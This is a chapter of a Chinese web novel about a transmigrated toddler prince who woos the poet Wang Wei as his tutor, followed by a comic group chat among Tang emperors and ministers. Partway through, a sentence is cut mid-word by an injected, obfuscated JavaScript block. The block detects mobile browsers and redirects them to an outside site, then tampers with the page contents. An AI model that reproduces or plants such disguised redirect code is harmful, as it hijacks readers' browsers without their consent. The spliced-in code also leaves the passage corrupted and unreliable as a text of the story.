是那个写下“独在异乡为异客,每逢佳节倍思亲”的王维?是那个吟诵“空山新雨后,天气晚来秋”的王维?是那个被后世尊为“诗佛”,画境超然的王维? 哇哇哇!这不是王维诗里的红豆!这是王维!活的! 先生!你的诗……还抱过我呢! 拜王维当师父,以后再写个赠昕光奴,赠二十九郎!①他李小暮不就火了! 巨大的震惊与一种难以言喻的激动席卷了他。他看着眼前这位年轻版、被迫绑票版的诗佛,眼睛瞬间亮得堪比24k黄金,立马叫人把王维抬至上座。 “先生在上,受学生一拜!” 这师父,他必拜不可! 10. 社交达人李暮暮 河东郡王府的书房,历经李暮数日来的雷霆整顿,早已不复李瑾当家时那种“杂物与酒坛齐飞,积灰共蛛网一色”的惨状。如今可谓是窗明几净,紫檀木的书架上,经史子集与各地账册分门别类,摆放得能让强迫症患者狂喜。空气中弥漫着淡淡的芸草香气,用以驱虫防蛀。窗外秋光正好,透过新糊的碧色窗纱,映得室内一片温润,庭院中新移栽的几竿翠竹随风轻曳,沙沙作响,颇有些雅致意趣。 外边风光正好,室内却弥漫着一股微妙的对峙气氛。 王维已被松了绑,换上了一身王府提供的、质地尚可的青色常服。他身姿挺拔如竹,面容依旧保持着世家子弟的平静雍容,但紧抿的、缺乏血色的薄唇,以及那修长如玉、此刻却在不经意间一下下轻叩着扶手的指尖,都清晰地泄露了他内心翻涌的不悦与深深的无奈。 任谁被人光天化日之下,从长安街头像捉拿逃奴一般强行掳来,心中都会积郁着难以平复的怒火与屈辱! 况且他王维,虽仕途暂有不顺,却也是名满京华的诗画大家,太原王氏的子弟,有着自己的清高风骨,何曾受过此等折辱! 李瑾似乎完全没察觉这份几乎要凝成实质的尴尬,他大剌剌地坐在一旁,看着自家宝贝儿子还像个小大人似的跪坐在王维面前的蒲团上,顿时心疼得直抽抽,忍不住粗声粗气地喊了一句:“王十三!” 他这人贪杯好色,行事荒唐,但郡王的身份摆在那里,自带一股“我是流氓我怕谁”的混不吝底气,“我儿的拜师茶,你到底是喝还是不喝!给句痛快话!” 那架势,仿佛王维敢说不喝,他就能立刻再把人绑起来扔出府去,然后继续满长安给他儿抓(抢)下一个先生! 王维直接将头偏向一侧,连眼风都懒得扫给他一个,只将目光投向面前这个看似纯良无害的三岁孩童,也不是发怒,单纯目前屋里就李暮一个可以交流的活物。 李暮在心里默默叹了口气,得,靠爹根本不行,爹只会把好不容易有点松动的局面再次冻成冰坨子。 他只能自己手脚并用地从蒲团上爬了起来,又把他那明显在坏事的阿耶强行按回座位上去,用眼神示意他“闭嘴,安静,当个花瓶就好”。 然后,他转向王维,小脸上绽开一个极其温软、毫无攻击力的笑容,声音夹得像刚出谷的黄莺:“先生,一路辛苦,要饮些茶汤润润喉吗?” 李瑾这厢被儿子按在了偏位,浑然不觉地将正中的主位留给了儿子,自己还觉得挺美。 他这些日子早已习惯了府中“小儿当家,他滚一边”的新秩序,但这一幕落在初来乍到的王维眼中,简直惊世骇俗,堪比看到公鸡下蛋! 王维再次确认李瑾此人不仅荒唐,怕是脑子也有些不清醒,跟这种人,他连争论的欲望都没有,怕被拉到同一个水平线然后用丰富的经验打败。 最终,他将唯一可能交流的希望寄托在了李暮身上。 李暮接收到他的求助目光,脸上的笑容又加深了几分,愈发显得明媚无害,“我叫人送些清淡的米酒可好?今日厨下刚得了新鲜的葡萄,正在榨汁,先生可有其他欢喜的饮子?” 对付王维这种才华横溢、心气极高的文化名士,用他阿耶那种强买强卖、近乎土匪绑票的方式是绝对行不通的。威逼或许能暂时留下人,但绝得不到真心实意的辅佐,反而可能结怨。必须攻心为上,以礼相待,徐徐图之。 这可是群里【房谋】和【徐茂公算死你】两位大佬反复强调的! 所以,怀柔策略才是上上之选。 王维被他这过分周到、甚至不像个孩子的询问弄得微微一怔,下意识地接口道:“不必麻烦,清茶即可,是维叨扰了。” 语气虽然依旧疏离,但比起面对李瑾时,已然缓和了许多。 李暮却摇了摇头,语气依旧温柔:“阿耶行事鲁莽,冲撞了先生,是郡王府失礼在先。昕光奴代阿耶,向先生郑重赔罪。” 说罢,他竟真的迈着小短腿,走到一旁的红泥小炉边。炉上坐着银壶,水正咕嘟咕嘟地冒着蟹眼泡。李暮踮起脚,有些费力地提起银壶,亲自将那滚水注入早已备好的、天青色的越窑瓷茶盏中。霎时间,茶香四溢。他两只小手稳稳地捧着那盏热茶,走到王维面前,微微躬身,像模像样地拱了拱手,然后将茶盏奉上。 唐朝饮茶风气盛行,煎茶道初兴,待客的第一礼仪便是“奉茶”。 主人亲手为客人煎茶、斟茶,是极高的礼遇。茶器需洁净雅致,茶水要煎煮得恰到好处。 李暮此举,虽是孩童执行,却完全遵循了士大夫间的交往礼仪,给足了王维面子。 这一下,饶是王维心中再有芥蒂,也有些动容了。他连忙起身,双手接过茶盏:“小郎君言重了,不敢当。” 脸色却明显比刚才好看了不少。他虽恼恨李瑾,但还不至于跟一个如此知礼懂事、甚至有些超乎年龄沉稳的孩子过多计较。 都是李瑾这个阿耶太不靠谱才逼得孩子早早当家还出来道歉! 李瑾在一旁冷哼一声,但被李暮回头轻轻一瞪,只好怂怂地背过头去,玩自己的玉佩穗子,心中委屈也不敢说。 李暮趁热打铁,小脸上露出恰到好处的仰慕:“先生不必过谦。昕光奴虽年幼蒙昧,也曾在阿娘念诗时,听过先生几首诗,写得极好,让人听了心里发酸。阿耶也常说,阿翁生前最是欣赏先生才华,常赞先生诗画双绝,琴音超逸,是世间难得的雅士。” 他巧妙地将已故的、同样以文雅著称的岐王李范抬了出来,试图用这层旧谊拉近关系。 他阿翁在天上看着呢! 提到亦师亦友的岐王,王维眼中果然闪过一丝深刻的追忆与感伤。 岐王好文雅,喜与文人墨客交往,曾是他的知音与庇护者之一,对他有知遇之恩。 这层关系,让他对眼前这个孩子的好感又增了几分。 昔日名满天下的岐王之孙,竟无人开蒙? 王维回想自己,心苦口涩。 舞黄狮子一案,真是误了太多人。 李暮仔细观察着王维神色的细微变化,知道火候已到一部分。他话锋一转,软声道:“而今重阳刚过不久,先生怎会独自离家远行?昕光奴听阿耶提起,似乎先生家中还有高堂慈母与年幼的弟弟需要照料?” 旁边的李瑾听得一脸茫然,他什么时候跟儿子说过王维的家事了?他连王维有几个弟弟都搞不清楚! 但是……昕光奴说是就是吧!他立刻配合地挺了挺胸,做出一副“没错就是我说的”的样子。 那头,王维却是微微一怔,没想到这孩子会问得如此细致且……切中要害。 他神色间掠过一丝不易察觉的黯然。 他确有不得不为之的苦衷。他官运不济,此前因舞黄狮子案①被贬,虽已回长安,却仍居散职。且家道自父亲早逝后,便一蹶不振,经济颇为拮据。当朝宰相张九龄是举世公认的名相,为人正直,爱才若渴,提拔后进不遗余力,是他目前看来最好、也是最清贵的晋身之阶。前往东都洛阳投奔张九龄,也算是他深思熟虑后的选择。 他坦然承认,语气中带着文人的清高与一丝期盼:“张相国雅量高致,海内人望,维心向往之,愿前往洛阳拜谒,以求教益,或能得一展抱负之机。” “先生大才,志向高远,自然值得更好的前程。”李暮先真心实意地捧了一句,随即,那双琥珀色的大眼睛里,竟露出了几分与他年龄全然不符的忧色,小眉头也微微蹙起,“只是……先生,从长安到洛阳,路途不算近呐。舟车劳顿且不说,如今盗匪虽靖,但行路终究艰难。更重要的是……” 他顿了顿,声音压低了些,“先生如今……此行盘缠可还充裕?昕光奴还听闻,先生近日家中似乎也有些琐事烦心,令堂大人身体可还安泰?可需昕光奴帮忙照料?” 这几句关心瞬间剖开了王维极力维持的体面。 王维是出身太原王氏,五姓七望的高门,但其家道中落已久,他本人又清高自许,不擅亦不屑经营生计,经济上确实捉襟见肘。此次计划东都之行,盘缠本就是需要他厚着脸皮四处筹措的难题。 而且,他家中尚有老母需要奉养,弟弟王缙虽已出仕,但职位不高,薪俸有限,家庭的负担实实在在地压在他的肩上。李暮那句“家中琐事”和对其母的问候关心,虽未明说,却像一根浸了温水的细针,不轻不重地刺中了他内心最深处、也最柔软的隐忧。 他端着茶盏的手几不可察地紧了一下,沉默了片刻,没有直接回答,只是微微垂下了眼帘,浓密的睫毛在眼下投下一小片阴影,掩去了眸中闪过的窘迫。 李暮将王维的反应尽收眼底,心中暗道:“感念祖宗们在线指导!谢谢诸位大佬帮我钓先生!” 他面上不露分毫,再接再厉,语气更加真诚地说道:“先生为何非要舍近求远呢?张相国固然是举世景仰的贤相,可我河东郡王府,难道就容不下先生一展抱负吗?况且,留在长安,时常便于侍奉高堂,免去奔波之苦,岂不全了孝道?老人家年纪大了,最需儿女承欢膝下,悉心照应。昕光奴可以在此保证,若先生肯留下,王府必以礼相待先生家人,一应日常用度,绝不短缺,定让令堂安享晚年。” 王维听到这里,下意识地抬眸,目光越过李暮,落在了旁边又开始无聊玩自己玉佩穗子的李瑾身上,然后冲李暮露出了一个极其礼貌、极其疏离、极其嘲讽的微笑。 那意思很明显:就你家这著名的“败家子”郡王?你家库房里还能摸出几个铜板吗?还一展抱负?怕不是要跟着一起喝西北风吧! 李暮要不是脸皮厚度经过前世职场千锤百炼,此刻真想掩面而走。 好在他心理素质过硬,依旧能维持着无懈可击的笑容,坦然道:“先生,我既敢说出这话,自然是能出得起,也做得到。” 王维闻言,几乎要嗤笑出声,那笑容里的讥讽意味更浓了,分明在笑他“打肿脸充胖子”,装大头。 李暮见状,知道不下点猛药是不行了。 他轻轻叹了口气,小脸上显出几分与他年龄不符的郑重:“不瞒先生,我郡王府如今正缺一位能总揽府内外事务、协理文书案牍的长史。先生大才,若仅仅做个启蒙先生,实在是明珠暗投,屈就了。若先生不弃,昕光奴愿以郡王府长史之位相待。此乃正经的从七品上官职,有朝廷俸禄,有职分田,足以让先生安心治学,潜心诗画,亦可借此施展经世之才,整顿府务,积累实务经验。这岂不比远赴洛阳,寄人篱下、苦苦等候张相国不知何时才能给出的机会,更为稳妥可靠?更可长留长安,就近孝敬老母?” 他顿了顿,轻道:“人道百足之虫,死而不僵。我阿耶虽……不甚争气,但我阿翁岐王遗泽仍在,宗室之中,亦有关照我的叔伯。先生既与我阿翁有旧谊,在昕光奴心中,便如同自家长辈一般。留在郡王府,彼此知根知底,相互扶持。将来若有机会,昕光奴……或可借这身宗室血脉,在圣人面前,为先生美言几句。毕竟,有些门路,或许比科考干谒,更为直接有效。” 李隆基虽防范宗族,但是他们总有些门路。王先生,我李小暮虽然现在还是个宝宝,但宝宝也是皇亲国戚!你放心,有门! 王维神色有些动容,此子或许真能帮他。 然而,就在这关键时刻,旁边被忽略已久的李瑾大概是为了显示存在感,又或许是觉得儿子说得太文绉绉不够气势,猛地翘起二郎腿,坐姿极其不雅地插嘴道:“就是!王十三,帮你你还不乐意?这福气给你,你就偷着乐吧!反正,你不答应,也出不去这王府大门!哼,京兆尹②来了都不敢管老子!切!给本王的昕光奴当先生,那是你几辈子修来的福气!” 王维原本已被李暮说得心旌摇曳,正在天人交战,李瑾这番话如同兜头一盆冷水,让他瞬间脸色一沉,咬牙反讽道:“这福气给你,你要不要!” 李瑾浑不在意,甚至还挺得意,晃着脚尖:“我要是会读书写字,能写那劳什子诗,还轮得到你?!” 他拍了拍胸脯,试图拿出郡王的派头,虽然看起来更像街痞,“王维,听好了,好好教本王的昕光奴,亏不了你!” 李暮眼见王维脸上那刚刚有所松动的表情,因为他阿耶这一通助攻又瞬间冻结,甚至比刚才更冷,心中真是五味杂陈,恨不得把他阿耶的嘴暂时缝上。他无奈地看向守在书房门口的健仆,行使了一府之主的绝对权威,使了个眼色。 两名健仆会意,立刻上前,一左一右,客客气气但又不容抗拒地扶起了还在那嘚瑟的李瑾。 “郡王,您该去歇息了。” “是啊郡王,小郎君与王先生有要事相谈。” 李瑾先是一愣,随即居然也没怎么挣扎,只是嘟囔了一句“哎哎,别推别推,本王自己会走!昕光奴,阿耶要去平康坊,你叫人给我支些钱!”,李暮摆了摆手应了他,然后李瑾就乐呵呵的半推半就地被请出了书房。 王维目瞪口呆地看着这一幕。 一府之中,堂堂郡王,竟然被自己的下属、当着客人的面,就这么……“架”出去了?! 这……这是什么操作?! 关键是,那位混不吝的郡王本人,居然……没怎么挣扎,就这么顺从了?! 李暮轻轻咳嗽了一声,仿佛刚才那惊世骇俗的一幕只是寻常小事。 “先生不必担忧我阿耶。我既诚心请先生为师,便有足够的能力管束我父,确保先生在此,不受任何无谓的打扰与怠慢。” 这话说得,那叫一个云淡风轻,却又霸气侧漏。 他说罢,不再刻意掩饰那份与年龄截然不符的举止言行,“先生,我姓李,是宗室子弟。只要大唐还在,我总会见到圣上,即便不是圣上,也会是其他能决定官员命运的大人物。昕光奴在此承诺,先生留在郡王府,我保你……稳赚不赔。” 一个三岁的孩童,以王府实际主人的身份,对他这位名满天下的诗人,许下如此郑重其事的承诺。而且,他用实际行动证明了,他拥有履行承诺的能力和权威。 郡王府的主人和郡王府的继承人,这是两个截然不同的概念。王维此刻,无比清晰地认识到了这一点。 他彻底陷入了沉默,内心掀起了滔天巨浪。 他原本的计划清晰而坚定——前往洛阳,投奔张九龄,走一条清贵而正统的仕途。 但李暮这一番组合拳,句句都精准地敲打在他的现实困境和潜在需求之上。 孝道、安稳的职位与收入、可能存在的晋升捷径、一个看似荒诞却潜力无穷的合作对象……这些对于一个正处于人生低谷、肩负家庭责任、同时又怀有济世之心的文人来说,诱惑力是巨大且难以抗拒的。 去洛阳投奔张九龄,固然清高,符合文人理想,但前途未卜,风险自担,且要抛下老母,于心何忍? 留在长安郡王府,看似屈就,甚至有些“与荒唐郡王为伍”的尴尬,却可能是一条更务实、更能解决眼前所有困境的道路,更何况,这个三岁的小郎君,展现出的心智、手腕和掌控力,远非同龄人可比,甚至远超其父,未来或许真的……不可限量? 看着王维脸上明显动摇、陷入激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484884|185692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烈思想斗争的神色,李暮知道,火候已经到了九成九。他不需要王维立刻点头答应,只需要在他心里种下一颗倾向于留下的种子。 他再次跳下椅子,走到王维面前,仰起小脸,瞬间收敛了所有沉稳算计,露出了一个极其灿烂的笑容:“先生不必立刻答复昕光奴。先生一路辛苦,不如先在府中安心住下,慢慢考虑。府中虽简陋,但也备有清静院落,藏书若干,先生尽可当作是暂居休憩。若是闲来无事,教导昕光奴认几个字,或者,我们闲时一起去园子里逛逛,可好?” 他故意绝口不再提起他那被请出去的阿耶,示意府中一应他可做主。 “紫鹃,”李暮转向自己的贴身侍女,吩咐道,“带王先生去竹幽苑歇息,一应用度,皆按上宾之礼,不得有丝毫怠慢。另外,立刻派两个稳妥之人,带上我的名帖和些时令礼物,去王先生府上,告知老夫人,先生受河东郡王府诚邀,暂居府中教导小郎君学业,让她老人家不必挂心。王府会定期派人送去日常用度,务必让老夫人起居安稳。” 王维看着眼前这个心思缜密的孩子,心中真是百感交集,五味杂陈。他最终长叹一声,像是卸下了千斤重担,又像是做出了某个艰难抉择的开端,站起身来,对着李暮郑重地拱了拱手,语气复杂难辨:“小郎君思虑之周详,安排之妥帖,维感佩于心。如此,便多谢款待。任教之事……容维……细细思量,再行答复。” 他没有立刻拒绝,也没有虚与委蛇,而是选择了细细思量。 这,便是成功的开端! 李暮脸上的笑容越发甜美纯真:“先生请安心住下,若有任何需要,随时唤人告知昕光奴便可。” 看着王维在紫鹃的引导下,带着满腹的思量离开书房,李暮叹了口气望着窗外摇曳的竹影,嘴角勾起一抹志在必得的弧度。 他不光想要王维,他还想要王维那个同样才华不俗、后来官至宰相的弟弟王缙! 他就是这么贪得无厌啊! 试问谁不喜欢收集这些青史留名的SSR卡,把他们拢到自己身边,搞个全明星阵容! 李暮这边开心不已,正欲在家族群里感谢祖父【岐王李范】告诉他王维家庭情况时,那边他亲爱的【世民兄】又轻轻地碎了。 【群聊:我家昕光奴今天仍很努力!】 【房谋】:陛下,用了点小手段,那老小子都招了,那王摩诘之才确实不假,诗画琴艺,确是冠绝一时,其人品亦算清雅高洁。然……观其性情志趣,似更倾心于山水佛理,追求心灵超脱。其诗文中,出世之意往往多于入世之志。若仅为王府增添风雅,或为郎君启蒙诗文,自是上佳之选。但若作为未来……呃,小郎君本无大志,若身边再多是此等清流隐士,恐于其心性成长……不甚有利。选择近臣,不可不慎啊。 房玄龄这番话,说得委婉,但意思很明确:这王维才华横溢,但是个佛系文艺青年,可能把咱家本来就想躺平的昕光奴带得更佛了!不适合当核心班子成员! 【杜断】:别把咱小郎君教的也去修禅了!当务之急,咱还是得选个志存高远、心怀天下的能臣去教导、影响小郎君!@太原公子陛下,此事需速决!(揪头发.jpg) 一直在窥屏等待机会的徐茂公立刻跳了出来。 【徐茂公算死你】:臣当仁不让!陛下,臣精通谋略,善于审时度势,最懂如何……呃,因材施教!保证能让小郎君明白权力之妙,江山之重!臣请求出战!臣这就去给小郎君私发《论如何优雅地搞事情》教学资料! 【三板斧程魔王】:俺看行!让老徐去!保管把昕光奴教得比小狐狸还精! 【门神敬德打铁】:附议!要论心眼子,茂公在行! …… 李世民看着徐茂公那跃跃欲试的模样,又瞥了一眼群里起哄的程咬金、尉迟恭,沉默了三息,缓缓打出一行字。 【太原公子·李世民】:……,你算了,他本就精的跟小狐狸似的,你们要凑一起,就成老狐狸带小狐狸,狐狸窝了!还是把虞公①叫来吧,先打打基础,学学正道。 【徐茂公算死你】:陛下~臣一片赤诚啊!(。﹏。*) 【太原公子】邀请【虞先生讲史书】加入群聊。 【虞先生讲史书】:哈哈哈哈哈哈!陛下,诸位同僚!这……这教导未来……呃,教导小郎君的重任,这天上掉下来的大馅饼,没想到最后竟落在老夫这颗老榆木脑袋上了?哈哈哈! 【太原公子】:虞卿,一切托与你了!一定要让昕光奴坚定……呃,造反这等积极向上的信念!别被王摩诘带得年纪轻轻就去当秃驴! 【虞先生讲史书】:……,臣瞧着小郎君眉清目秀,眼神灵动,不像有那等慧根的人。 昕光奴不像出家的料,倒像是穷怕了能去抄家的料。 【太原公子】:朕也觉得,但防不胜防,朕把昕光奴推给你。 【虞先生讲史书】:不用推,不用推,陛下,您怕是还不知道吧?老夫与小郎君,上次在大群里聊书法时,就已经互加好友了。小郎君还主动加了老夫的【永兴公书法交流群】呢,每日发言都积极得很!不瞒您说,小郎君这社交之广,恐怕远超您想象。老夫估摸着,在座的各位……但凡是有点名号、被他觉得有趣的,十有八九,都收到过他的好友申请,并且可能都通过了吧? 虞世南这话如同在平静的湖面投下了一颗深水炸弹! 【太原公子】:什么?!昕光奴他……他都加了?!他跟谁都加好友?!不是说好了跟朕最要好吗?!(猫猫头心碎.jpg)朕可是他祖宗!亲的! 群里陷入了一片死寂。 三分钟,足足三分钟,没有任何人发言。仿佛所有人都瞬间掉线,或者……集体隐身了。 三分钟后,李世民环视着群里那一排排突然变成灰色、显示“忙碌”或“离开”状态的头像。 【太原公子】:好啊,昕光奴他这可真是……如鱼得水啊!还有朕的众卿……这三分钟竟无一人出声辩解…… 李世民语气和善。 那朕也不客气了。 【太原公子】:虞唧,你写字去吧,朕要亲自教昕光奴!朕倒要问问,这小狐狸崽子到底加了多少人! 虞世南:……,笑不出来。 那头,李暮看着不断增加的红点,默默点开了与李世民的私聊界面。 【私聊频道】 【李小暮】(十分钟前):祖宗!第一阶段目标达成!王维已同意暂住!嘿嘿,这位未来诗佛,看样子是跑不出我的手掌心啦!【得意转圈.jpg】 咦,祖宗平时不是都是秒回的吗? 李暮正奇怪呢。太原公子上线。 【太原公子】:昕光奴啊,朕决定亲自教你识字。 【李小暮】:真的吗?好耶!谢谢祖宗! 【太原公子】:叫世民兄就成,朕也就比你大个一两百岁,不算代沟。所以你告诉朕,你加了多少好友? 【李小暮】:行,阿兄!我数数啊……魏征公、房公、杜公、程将军、尉迟将军、长孙娘娘、晋阳公主、高宗皇帝、则天皇上、徐公、虞公岐王阿翁……哇,有1079个啦!世民兄,我厉害不!人脉广吧!【求表扬.jpg】 【太原公子】:……哦,1079个啊。很好。如果昕光奴你今晚还想安稳睡觉,不被某些“热心”前辈的午夜惊魂教学call吵醒的话,那你今天最好把他们……都暂时屏蔽一下。 祖宗语气温柔得有点可怕。 【李小暮】:?(小狐狸懵逼.jpg)